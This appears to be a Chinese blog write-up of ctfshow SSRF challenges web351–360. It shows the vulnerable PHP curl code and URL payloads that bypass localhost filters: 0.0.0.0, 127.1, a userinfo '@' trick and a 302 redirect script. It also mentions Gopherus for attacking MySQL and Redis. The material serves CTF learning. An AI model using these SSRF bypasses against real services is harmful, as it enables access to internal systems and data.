ctfshow (ssrf学习和实践)


web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化一个cURL会话
curl_setopt($ch, CURLOPT_HEADER, 0);//curl_setopt函数的作用是为一个CURL会话设置选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);//执行一个cURL会话
curl_close($ch);//关闭一个cURL会话并且释放所有资源。
echo ($result);
?>

第一道题多说几句,在curl_init()函数中传参和在curl_setopt()函数中设置CURLOPT_URL,效果是一样的都是取回一个url地址。
这里尝试发现需要以本地用户访问:

payload:url=http://127.0.0.1/flag.php

web352

这里url的scheme必须为http或者https,并且不能有localhost和127.0.0.这里多说一下。php的parse_url()函数可以解析url:

<?php
$url="http://www.aaaaa.com/aaa";
$parse=parse_url($url);
print_r($parse);
/**
 *显示
 *Array
(
[scheme] => http
[host] => www.aaaaa.com
[path] => /aaa
)
 */

可以用0.0.0.0绕过:

url=http://0.0.0.0/flag.php

web353

和web252一样

web354

这里可以利用302跳转,在自己的vps上搭一个:

<?php 
header("Location: http://127.0.0.1/flag.php");

payload:url=http://xxxxxx/xx.php
当然y4师傅找到了一个http://sudo.cc/可以直接使用

web355

这道题需要host小于5,可以使用的包括省略0,或者只有0都行,因为0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

url=http://127.1/flag.php```
url=http://0/flag.php

web356

同上

web357

这里需要用到302跳转,在354中已经提到了,那么为什么这里要进行302跳转呢?
因为这个:

filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)

具体的使用方法参考:地址

web358

正则表达试的意思就是url以ctf开头以show结尾

<?php
$url="http://ctf.@127.0.0.1/flag.php?show";
$parse=parse_url($url);
print_r($parse);
/**
 *显示
 * Array
(
[scheme] => http
[host] => 127.0.0.1
[user] => ctf.
[path] => /flag.php
[query] => show
)
 */

web359/web360

这两道题都需要使用到gopherus工具地址:地址
web359打MySQL:
在这里插入图片描述

web360打redis:
在这里插入图片描述

需要注意的是这里的payload在下划线之后都需再次进行url编码。


文章作者: kento
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kento !
评论
  目录